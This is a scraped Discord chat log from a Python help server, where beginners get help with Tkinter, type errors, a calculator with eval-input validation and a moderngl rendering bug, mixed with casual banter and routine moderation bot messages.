canvas = Canvas(window, bg=BACKGROUND_COLOR, height=GAME _height , width=GAME_WIDTH)
canvas.pack()

#

@whole bear

#

idk if x10an14 explained u

#

but i wanted to change the tab size

#

like when i run it

#

it shows a normal tab witch is maybe a 50x50

#

but i wanted it around to be 800

#

like this

#

tab

#

where is game

#

GAME_WIDTH = 1000
GAME_HEIGHT = 1000

canvas = Canvas(window, height=GAME_HEIGHT , width=GAME_WIDTH)
canvas.pack()

#

with this code

#

i got to expand it

#

no

#

i never sayd i want it small

#

i wanna make it

#

like a full sreen maybe

#

like when u open a game

#

it goes full sreen

#

yeah

#

it shoes 1 error

#

shows*

#

idk but

#

but its shows this

#

alr thx man

#

its working

#

kk

zinc sinew
#

!e var = 1 print("var=" + var)

wise cargoBOT
#

@zinc sinew :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 2, in <module>
003 | TypeError: can only concatenate str (not "int") to str
mortal sundial
#

birth_year = input("what year were you born in? ")
age = 2022 - int(birth_year)
print("so your"+ age)

zinc sinew
#

!e var = 1 print("var=" + str(var))

wise cargoBOT
#

@zinc sinew :white_check_mark: Your 3.11 eval job has completed with return code 0.

var=1
steel sluice
#

print(f"so your {age}")

#
birth_year = int(input("what year were you born in? "))
age = 2022 - birth_year
print(f"so your {age}")
steel sluice
#

/

#

\

mortal sundial
#

birth_year = input("what year were you born in? ")
age = 2022 - int(birth_year)
print(f"so your {age}")
death_year = int(input("so what year do you expect you die"))
age = 2022 -int

steel sluice
#

birth_year = input("what year were you born in? ")
age = 2022 - int(birth_year)
print(f"so your {age}")
death_year = int(input("so what year do you expect you die"))
age = 2022 - death_year
print(f'u will die in {age}')

whole bear
#

@somber heath still new so dont have permission yet

#

how are you doing

somber heath
whole bear
#

fair

#

im just learning some basic stuff right now

#

gui

#

@somber heath any fun code you made recently

#

fair

#

I hear and just kinda noped out tbh

#

it felt really weird

#

america

#

ya hope she able to get out of it. all I heard was an arranged marriage

#

she seems like she didn't like it

#

ya I gotcha

#

she on here often?

#

im just starting here

#

don't even have voice verification yet

#

kinda annoying

#

hope she able to get help

#

ya not surprised

#

im in lgbt servers a lot so I understand having safe guards

#

tbh my next python project is making a text bot on a timer

#

just asking normal questions

#

yaaaaa

#

im in ohio

#

I know

#

oh ya

#

it a bunch of spineless losers

#

oh ya corporations got to protect their asses

#

well private ones will be fine but it the more public facing servers that face the brunt

#

well im trying to learn to code so I work from home

#

and bc I like data

#

love working with data sheets

#

gonna make programs that makes data merger easier

#

which is a nightmare tbh

#

like I hate mergering data with different time spans ๐Ÿคฎ

#

combining monthly data with quarter data makes me want to scream

#

one things that nice is that you will never stop having work

#

hard

#

also sidentoe could you help me with a little error Im having

#

also genetics data is really funny

#

call back error

#

gui

#

a very basic calculator

#

eval is very bad

#

I know injections issue

#

*Exception in Tkinter callback
Traceback (most recent call last):
File "C:\Users\16149\AppData\Local\Temp\ipykernel_12964\257629795.py", line 14, in evaluate_calc
text_result.delete(1.0,calculation)
File "C:\Users\16149\anaconda3\lib\tkinter_init_.py", line 3602, in delete
self.tk.call(self._w, 'delete', index1, index2)
_tkinter.TclError: bad text index "49"

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\Users\16149\anaconda3\lib\tkinter_init_.py", line 1892, in call
return self.func(args)
File "C:\Users\16149\AppData\Local\Temp\ipykernel_12964\257629795.py", line 19, in evaluate_calc
text_result.inset(1.0,"Error")
AttributeError: 'Text' object has no attribute 'inset'

#

here is the error im getting

somber heath
#

!paste

wise cargoBOT
#

Pasting large amounts of code

If your code is too long to fit in a codeblock in Discord, you can paste your code here:
https://paste.pythondiscord.com/

After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.

whole bear
#

don't worry about it

#

ya I made a note in the code to make a version without eval

#

just seems like good practice

#

making my own might be good

#

like get used to thinking and understanding that sorta stuff

#

like I was thinking of making two list

#

the first list storing all the numbers and the other list storing the functions

#

is there a better method?

#

is there a function that prevents things that are not (1,2,....9,+,...(,)) symbols to be typed

#

or do I just have to write some code

#

ya, not that good at them

#

im just jumping around tbh

#

is there a contain other function

#

like you define the acceptable symbols for the string

#

then if there is one that is not those you execute a function

#

string=y2931

#

the accepted symbols(1,2,3,4,5,6,7,8,9,0)

#

you could do a process where you make a list that is equal length to the string

#

then do a loop that states if (some symbols) set that part of the list to 1

#

oh take you time

#

gonna grab laundry

#

im back

somber heath
#

Righty.

whole bear
#

actually thought of an easier solution

#

just make a count for your accepted symbols then if count = length then pass

#

if they are not equal then output error and make calc = ""

#

ya

obsidian bramble
#

ive been here 4 1 day

#

i hav 2 wait

reef osprey
#

And is here anybody that programming with django?

I need some advices

somber heath
#
def is_valid(text):
    text = set(text)
    allowed = set("01234567890()-+*./")
    if text.issubset(allowed)
        return True
    return False```
#

@whole bear It's safe to come out, now.

robust lichen
#
my_list = ['example', 'example1', 'example2']

selected = fzf.prompt(my_list)

if selected in my_list:
    print(my_list.index(selected))
lofty kayak
#

No speak English

lavish rover
#

!d ast.literal_eval

wise cargoBOT
#

ast.literal_eval(node_or_string)```
Evaluate an expression node or a string containing only a Python literal or container display. The string or node provided may only consist of the following Python literal structures: strings, bytes, numbers, tuples, lists, dicts, sets, booleans, `None` and `Ellipsis`.

This can be used for evaluating strings containing Python values without the need to parse the values oneself. It is not capable of evaluating arbitrarily complex expressions, for example involving operators or indexing.
whole bear
robust lichen
#
def display_subtitle_links(subs):
    choice = []
    for i, sub in enumerate(subs):
        choice.append("{}. {}".format(i + 1, sub.replace("/subtitles/", "")))

    selected = fzf.prompt(choice)

    if selected in choice:
        print(choice.index(selected))

display_subtitle_links(subs)
somber heath
#

!e py "abc"[3] #What is the fourth thing [3] in a sequence of length three "abc"?

wise cargoBOT
#

@somber heath :x: Your 3.11 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "<string>", line 1, in <module>
003 | IndexError: string index out of range
somber heath
#

!e py try: "abc"[3] except IndexError: print("Caught.")

wise cargoBOT
#

@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

Caught.
somber heath
#
try:
    ...
except: #This is a "bare" except. Avoid.
    ...```
robust lichen
#
def display_subtitle_links(subs):
    choice = []
    for i, sub in enumerate(subs):
        choice.append("{}. {}".format(i + 1, sub.replace("/subtitles/", "")))

    selected = fzf.prompt(choice)

    if selected in choice:
        print(choice.index(selected))

display_subtitle_links(subs)
somber heath
#

@spring socket ๐Ÿ‘‹

whole bear
#

btn_add=tk.Button(root,text="+", command=lambda: add_to_calc('+'), width=5, font=("Comic sans", 14))
btn_add.grid(row=2, column=4)
btn_min=tk.Button(root,text="-", command=lambda: add_to_calc('-'), width=5, font=("Comic sans", 14))
btn_min.grid(row=3, column=4)
btn_mult=tk.Button(root,text="x", command=lambda: add_to_calc('*'), width=5, font=("Comic sans", 14))
btn_mult.grid(row=4, column=4)
btn_divide=tk.Button(root,text="/", command=lambda: add_to_calc('/'), width=5, font=("Comic sans", 14))
btn_divide.grid(row=5, column=4)

somber heath
#

!code

wise cargoBOT
#

Here's how to format Python code on Discord:

```py
print('Hello world!')
```

These are backticks, not quotes. Check this out if you can't find the backtick key.

whole bear
#

Exception in Tkinter callback
Traceback (most recent call last):
File "C:\Users\16149\AppData\Local\Temp\ipykernel_12964\3899327102.py", line 15, in evaluate_calc
text_result.delete(1.0,calculation)
File "C:\Users\16149\anaconda3\lib\tkinter_init_.py", line 3602, in delete
self.tk.call(self._w, 'delete', index1, index2)
_tkinter.TclError: bad text index "3"

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
.py", line 1892, in call
return self.func(*args)
.py", line 20, in evaluate_calc
text_result.inset(1.0,"Error")
AttributeError: 'Text' object has no attribute 'inset'

shut hill
#
import time
import random

# Set the starting speed of the car
car_speed = 0

# Set the starting position of the car
car_position = 0

# Set the maximum speed of the car
max_speed = 10

# Set the distance to the finish line
finish_distance = 100

# Set the time interval for each iteration of the game loop
time_interval = 1

# Print the starting message
print("The car game has started. Good luck!")

# Start the game loop
while True:
    # Accelerate the car by a random amount
    car_speed += random.randint(1, 3)

    # Limit the car's speed to the maximum speed
    car_speed = min(car_speed, max_speed)

    # Move the car by the current speed
    car_position += car_speed

    # Check if the car has crossed the finish line
    if car_position >= finish_distance:
        print("You have crossed the finish line!")
        break

    # Print the current position of the car
    print(f"The car is at position {car_position}")

    # Sleep for the time interval
    time.sleep(time_interval)
#

Small car game that has finish till 100 random position starting

somber heath
#

@gentle bone ๐Ÿ‘‹

shut hill
#
<html>
<head>
    <title>Store Website</title>
</head>
<body>
    <h1>Welcome to our store!</h1>

    <!-- Navigation menu -->
    <ul>
        <li><a href="index.html">Home</a></li>
        <li><a href="products.html">Products</a></li>
        <li><a href="cart.html">Cart</a></li>
        <li><a href="checkout.html">Checkout</a></li>
    </ul>

    <!-- Home page -->
    <h2>Home</h2>
    <p>Welcome to our store. We offer a wide variety of products for all your needs. Take a look at our selection and add items to your cart.</p>

    <!-- Products page -->
    <h2>Products</h2>
    <ul>
        <li>
            <h3>Product 1</h3>
            <p>Description of product 1</p>
            <button>Add to cart</button>
        </li>
        <li>
            <h3>Product 2</h3>
            <p>Description of product 2</p>
            <button>Add to cart</button>
        </li>
        ...
    </ul>

    <!-- Cart page -->
    <h2>Cart</h2>
    <ul>
        <li>
            <h3>Product 1</h3>
            <p>Quantity: x</p>
            <button>Remove from cart</button>
        </li>
        <li>
            <h3>Product 2</h3>
            <p>Quantity: x</p>
            <button>Remove from cart</button>
        </li>
        ...
    </ul>
    <p>Total: $xxx.xx</p>
    <button>Checkout</button>

    <!-- Checkout page -->
    <h2>Checkout</h2>
    <p>Please enter your shipping and payment information:</p>
    <form>
        <label>Name:</label>
        <input type="text" name="name">
        <label>Address:</label>
        <input type="text" name="address">
        ...
        <button>Submit</button>
    </form>

    <p>Thank you for shopping with us!</p>
</body>
</html
#

Small Website Store

somber heath
shut hill
#

opengpt is gay

#

holy crap

#

...

safe pumice
#

@somber heath I am sorry that my Offering of The research paper offended you see your bio Contradicted your Response and Again I apologise for the misunderstanding

somber heath
#

I just don't feel interested in reading research papers.

wintry socket
stray niche
#

Helloo

#

Byee

half flare
somber heath
#

@nova oriole ๐Ÿ‘‹

nova oriole
#

hi

#

i need to talk so im not muted

#

text more

stray niche
#

for voice verification?

nova oriole
#

ye

stray niche
#

okie dokie

nova oriole
#

sorry im terrible at typing sometimes

stray niche
#

no worries

somber heath
#

Mary Louise "Meryl" Streep (born June 22, 1949) is an American actress. Often described as "the best actress of her generation", Streep is particularly known for her versatility and accent adaptability. She has received numerous accolades throughout her career spanning over five decades, including a record 21 Academy Award nominations, winning t...

stray niche
#

The dog

#

sleeping

sharp spruce
#

hiya

#

whats going on @somber heath

#

im trying to find some old code

#

i need it but it is gone

somber heath
#

@lone forge ๐Ÿ‘‹

sharp spruce
#

back to the internet i go

#

in search of the code

#

i think i did but i cant find

#

i think its in this discord but its gonee

#

its just unfindable

#

when i search my name nothing comes up ๐Ÿฅฒ

#

lol "hello, ring, ring ring"

#

charlie the unicron!

#

were going to candy moouuuuntain charlie

#

๐Ÿ˜‚

somber heath
#

!e py nums = [1, 2, 3] for i in range(len(nums)): print(nums[i])Where you would do this...

wise cargoBOT
#

@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 1
002 | 2
003 | 3
somber heath
#

!e py nums = [1, 2, 3] for num in nums: print(num)Do this instead.

wise cargoBOT
#

@somber heath :white_check_mark: Your 3.11 eval job has completed with return code 0.

001 | 1
002 | 2
003 | 3
somber heath
#
...
if num % 2 == 0:
    count += 1```Instead of this...
#
count += num % 2```
sharp spruce
#

im not

somber heath
sharp spruce
lunar mulch
#

@limpid sparrow don't answer his questions, he's a federal agent.

sharp spruce
wise cargoBOT
#

:incoming_envelope: :ok_hand: applied mute to @sharp spruce until <t:1670846403:f> (10 minutes) (reason: mentions rule: sent 8 mentions in 10s).

The <@&831776746206265384> have been alerted for review.

sharp spruce
#

sorry my bad

#

i will not do that again

#

@rigid trench talk here

rigid trench
#

i cant unmute as i just joined

#

the server

gentle flint
#

ye

wise cargoBOT
#

Voice verification

Canโ€™t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

rigid trench
#

yeaa i do

#

umm cant actually say its exactly a python problem

#

umm have you heard about gpt

#

so i want to use that open ai api

#

um the project is kinda private

#

can i message you personally ? or is there a private text channel

#

where i can explain exactly

warped raft
#

@sharp spruce the guy that sounds like you

#

i cannot talk

#

wanna see my projects

#

no i don't have a mic

glad sandal
#

If you can't hide a crime scene, just pretend you are a victim.

#
#main.py
import pygame as pg
import moderngl as mgl
import sys
from model import *

class GraphicsEngine:
    def __init__(self, win_size=(1600,900)):
        pg.init()

        self.WIN_SIZE = win_size

        pg.display.gl_set_attribute(pg.GL_CONTEXT_MAJOR_VERSION, 3)
        pg.display.gl_set_attribute(pg.GL_CONTEXT_MINOR_VERSION, 3)
        pg.display.gl_set_attribute(pg.GL_CONTEXT_PROFILE_MASK, pg.GL_CONTEXT_PROFILE_CORE)

        pg.display.set_mode(self.WIN_SIZE, flags=pg.OPENGL | pg.DOUBLEBUF)

        self.ctx = mgl.create_context()

        self.clock = pg.time.Clock()

        self.scene = Triangle(self)

    
    def check_events(self):
        for event in pg.event.get():
            if event.type == pg.QUIT or (event.type==pg.KEYDOWN and event.key == pg.K_ESCAPE):
                self.scene.destroy()
                pg.quit()
                sys.exit()
        
    def render(self):
        self.ctx.clear(color=(0.08, 0.16, 0.18))
        self.scene.render
        pg.display.flip()
    
    def run(self):
        while True:
            self.check_events()
            self.render()
            self.clock.tick(60)

if __name__ == "__main__":
    graphicsEngine = GraphicsEngine()
    graphicsEngine.run()
    
#
#model.py
import numpy as np

class Triangle:
    def __init__(self, app):
        self.app = app
        self.ctx = app.ctx
        self.vbo = self.get_vbo()
        self.shader_program = self.get_shader_program("default")
        self.vao = self.get_vao()
    
    def render(self):
        self.vao.render()

    def destroy(self):
        self.vbo.release()
        self.get_shader_program.release()
        self.vao.release()

    def get_vao(self):
        vao = self.ctx.vertex_array(self.shader_program,[(self.vbo, "3f", "in_position")])
        return vao

    def get_vertex_data(self):
        vertex_data = [
            (-0.6,-0.8,0.0),
            (0.6,-0.8,0.0),
            (0.0,0.8,0.0)
        ]

        vertex_data = np.array(vertex_data, dtype="f4")
        return vertex_data
    
    def get_vbo(self):
        vertex_data = self.get_vertex_data()
        vbo = self.ctx.buffer(vertex_data)
        return vbo
    
    def get_shader_program(self, shader_name):
        with open(f"shaders/{shader_name}.vert") as file:
            vertex_shader = file.read()
        
        with open(f"shaders/{shader_name}.frag") as file:
            fragment_shader = file.read()
        
        program = self.ctx.program ( vertex_shader = vertex_shader, fragment_shader = fragment_shader)
#
//vertex shader
#version 330 core

layout (location = 0) in vec3 in_position;
void main(){
    gl_Position = vec4(in_position, 1.0);
}
#
//Fragment shader
#version 330 core

layout (location = 0) out vec4 fragColor;

void main() {
    vec3 color = vec3(1,0,0);
    fragColor = vec4(color, 1.0);
}
#

Error


pygame 2.1.2 (SDL 2.0.16, Python 3.10.6)
Hello from the pygame community. https://www.pygame.org/contribute.html
Traceback (most recent call last):
  File "/home/user/12-12-2202-Programming-backup/usersGraphicsEngine/main.py", line 44, in <module>
    graphicsEngine = GraphicsEngine()
  File "/home/user/12-12-2202-Programming-backup/usersGraphicsEngine/main.py", line 22, in __init__
    self.scene = Triangle(self)
  File "/home/user/12-12-2202-Programming-backup/usersGraphicsEngine/model.py", line 9, in __init__
    self.vao = self.get_vao()
  File "/home/user/12-12-2202-Programming-backup/usersGraphicsEngine/model.py", line 20, in get_vao
    vao = self.ctx.vertex_array(self.shader_program,[(self.vbo, "3f", "in_position")])
  File "/home/user/.local/lib/python3.10/site-packages/moderngl/context.py", line 1425, in vertex_array
    return self._vertex_array(*args, **kwargs)
  File "/home/user/.local/lib/python3.10/site-packages/moderngl/context.py", line 1454, in _vertex_array
    members = program._members
AttributeError: 'NoneType' object has no attribute '_members'
#

Requirement

#

pygame
moderngl
numpy

pallid hazel
#

anyone using flet? .. i'm not really finding useful tutorials.. I'm finding some, but I really would rather play with the code then watch hr long video's on someone not talking and jumping around back and forth.

sweet lodge
pallid hazel
#

hmm.. i onno, link?

sweet lodge
pallid hazel
#

yes, I'm on there.. I havent really explored the channel histories yet

sweet lodge
#

Have you tried asking for help?

pallid hazel
#

not yet, i'm just getting to researching and thinking about how and what I want to do.. but not finding much to play with.. a calculator, a counter, ..
actually just found the controls tab.. this may help

wind raptor
#

Hey all!

wind raptor
#

BRB

rugged root
#

!stream 689087720018280478

wise cargoBOT
#

โœ… @glad sandal can now stream until <t:1670855673:f>.

wind raptor
#

Back

rugged root
#

Hi back, I'm dad

warm jackal
#

(and bored out of town)

wind raptor
#

๐Ÿคฃ

rugged root
#

Very reasonably priced right now

uncut cipher
rugged root
#

@pallid hazel Reading what you messaged me now. Been swamped in life as of late

verbal wind
#

@rugged root Speaking of computing and hardware, do you think if quantum computing as of right now is, with a lot of handwaving, like a glorified GPU?

rugged root
#

Interesting way of thinking of it

#

But I don't quite think that's it

#

You're not dealing with bulk processing or output.

#

Note: What I'm about to say is purely guesswork and me piecing together what I've heard and read.

verbal wind
#

I know as much as you do on quantum computing

rugged root
#

Actually I wonder if we have someone that knows a lot more about QC

verbal wind
#

Joe the Almighty

gentle flint
rugged root
gentle flint
#

hmmm

rugged root
#

@teal jetty

gentle flint
#

think I'd rather pay 30 less for no branding

rugged root
#

For sure

icy axle
verbal wind
#

Vestergurkan Gurkanโ„ข๏ธ - Taste the Vester!

gentle flint
icy axle
verbal wind
#

ยฏ_(ใƒ„)_/ยฏ

vocal basin
#

yay no one recommended this shady garbage here as far as searchable

verbal wind
#

define "shady garbage"

gentle flint
#

garbage which is shady

vocal basin
#

smtpjs.com is a literal undisclosed advertisement for Elastic Email

#

garbage because putting smtp credentials on a browser page is not a good choice

#

like, there's so much wrong with that site

#

and the idea of sending email from browser in the first place

amber raptor
#

Via SMTP, yea.

vocal basin
#

also, their "CDN" probably isn't even CDN

#

this is what they call CDN

verbal wind
#

Masterlock

vocal basin
verbal wind
#

This is the LockPickingLawyer, and what I have for you today, is an SMTP server

vocal basin
gentle flint
#

what's wrong with let's encrypt

amber raptor
#

Nothing, a ton of CDNs use them.

gentle flint
#

ikr

amber raptor
#

SMTP from browser is bad idea because latency

vocal basin
amber raptor
#

And dealing with errors

#

So thatโ€™s reason not to do it, SMTP credentials are easily dealt with.

vocal basin
amber raptor
#

You can make disposable credentials and such

#

It doesnโ€™t matter, SMTP from browser is just terrible for various reasons.

#

Beyond credentials

gentle flint
vocal basin
gentle flint
#

cdn77

#

stackpath (formerly maxcdn)

#

etc

vocal basin
vocal basin
amber raptor
#

Smaller CDN using LE, SMTP from browser is just terrible idea in general.

vocal basin
whole bear
#

Hello @rugged root supp?

rugged root
#

Not a lot, 'bout you?

whole bear
vocal basin
#

round trip time

#

aka ping

rugged root
#

Really Tiny Turtles

verbal wind
#

Ray Tracing Tech

#

@stray niche The Hemlock Fanclub - "We are Hemlocked"

vocal basin
verbal wind
#

"Just drink water!" @rugged root

sharp plank
#

Fully AI powered story game

vocal basin
#

development and system operation in one

#

devdep doesn't sound funny so didn't catch on
(development + deployment)

rugged root
#

Nifty

amber raptor
#

It's basically fixing the fact we let any person program

rugged root
#

@cobalt fractal Do you have some good bun bun pictures?

vocal basin
wind raptor
#

what distro are you running with your wsl

amber raptor
wind raptor
#

you beat me

#

Yeah, I do the same Rabbit

vocal basin
#

classical Latin alphabet didn't have separate V and U
maybe, this non-distinction carried on

#

The Germanic /w/ phoneme was therefore written as โŸจVVโŸฉ or โŸจuuโŸฉ

#

(I may be taking things out of context so better read whatever the original studies/articles are)

vocal basin
#

seems like it was VV/uu
name came from the second
writing came from the first

#

weird calligraphic w

stray niche
#

brb

verbal wind
#

If today's temperature is 0 degrees, and tomorrow's forecasted to be twice as cold, how cold is it?

rugged root
#

I...

verbal wind
#

I got water on my laptop at "Kelvin"

#

Where's my towel...

#

-50 C....isn't that like, Vostok station @ Antartica?

stray niche
#

to kelvin

#

or even farenheit

woeful salmon
#

i'mma head out now T-T i still have guests over... cousin's marriage was a week ago and there's still people staying over and its really hard to pay attention to anything when they keep coming in my room and their kids are running around

rugged root
#

@stray niche You've got some mic echo

stray niche
#

yea just noticed

#

be bacck - food

rugged root
#

Wait what was the weird thing....

#

1 cc is 1 ml?

#

Something like that, I think

verbal wind
#

yep

past igloo
#

!voiceverify

rugged root
rugged root
cobalt fractal
#

lol

#

Watching pokemon

#

eating out of the bag when we weren't looking

rugged root
verbal wind
#

Chrisjl with the pyon-pyon fluff balls

rugged root
rugged root
cobalt fractal
#

stones are much more comfortable than grass

rugged root
#

Dude, Lucky's favorite bed is made of cardboard

#

Like no cover on it

cobalt fractal
#

lol

rugged root
#

I do not understand

dry jasper
rugged root
#

Wraptor

stray niche
pallid hazel
#

xmas maro

willow light
#

But you have to remember that the current terms of the sanctions means that anyone that trades with them are also sanctioned.

rugged root
stray niche
#

be back

rugged root
#

@sharp spruce So do you want to admit to ban evasion, Scrub? Because I know your voice

#

!ban 1050119370472439808 Ban evasion. Alt of Scrublord.

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied ban to @sharp spruce permanently.

terse needle
amber raptor
hearty knot
#
def xFlat(vv):

    fI = True
    while fI:
        fI = False
        xx = []
        for v in vv:
            if isinstance(v, list) or isinstance(v, tuple) or isinstance(v, set):
                fI = True
                xx.extend(v)
            else:
                xx.append(v)
        vv = xx

    return vv




xx = [ 'hello', b'abc', 1, [2 , 2], [ [3, 3, 3], 2], 1, [[[3]]] ]
a = xFlat(xx)
#

quick and dirty

whole bear
terse needle
stray niche
whole bear
dusk raven
stray niche
#

oooh

#

I just found this

sweet lodge
#

oh no

stray niche
#

how have I not seen this before

#

HOW

sweet lodge
#

You said you wouldn't show anyone that photo!!!11!

sweet lodge
#

Me da cosas!!

sweet lodge
#

Repent!

#

Repent so that you may still be saved yet!

stray niche
sweet lodge
#

Also not quite so many GIFs before you summon the @rugged root

stray niche
whole bear
#

@quasi condor oh noooo I am NOT well equipped for this vc

terse needle
whole bear
sweet lodge
stray niche
rugged root
#

I feel your pain, Noodle

stray niche
hearty knot
wise cargoBOT
#

@terse needle :x: Your 3.11 eval job has completed with return code 1.

001 |   File "<string>", line 1
002 |     JoeCool โ€” Today at 18:04
003 |             ^
004 | SyntaxError: invalid character 'โ€”' (U+2014)
rugged root
#

Pain receptors are important

whole bear
sweet lodge
stray niche
stray niche
rugged root
#

Empathy is handy

whole bear
terse needle
# hearty knot ```py def xFlat(vv): fI = True while fI: fI = False xx ...

!e

from collections.abc import Iterable
from typing import List

def xFlat(iterable: Iterable) -> List:
    acc = []

    for element in iterable:
        if isinstance(element, Iterable) and not isinstance(element, str):
            acc.extend(xFlat(element))
        else:
            acc.append(element)

    return acc

xx = [ 'hello', b'abc', 1, [2 , 2], [ [3, 3, 3], 2], 1, [[[3]]] ]
a = xFlat(xx)

print(a)
wise cargoBOT
#

@terse needle :white_check_mark: Your 3.11 eval job has completed with return code 0.

['hello', 97, 98, 99, 1, 2, 2, 3, 3, 3, 2, 1, 3]
stray niche
stray niche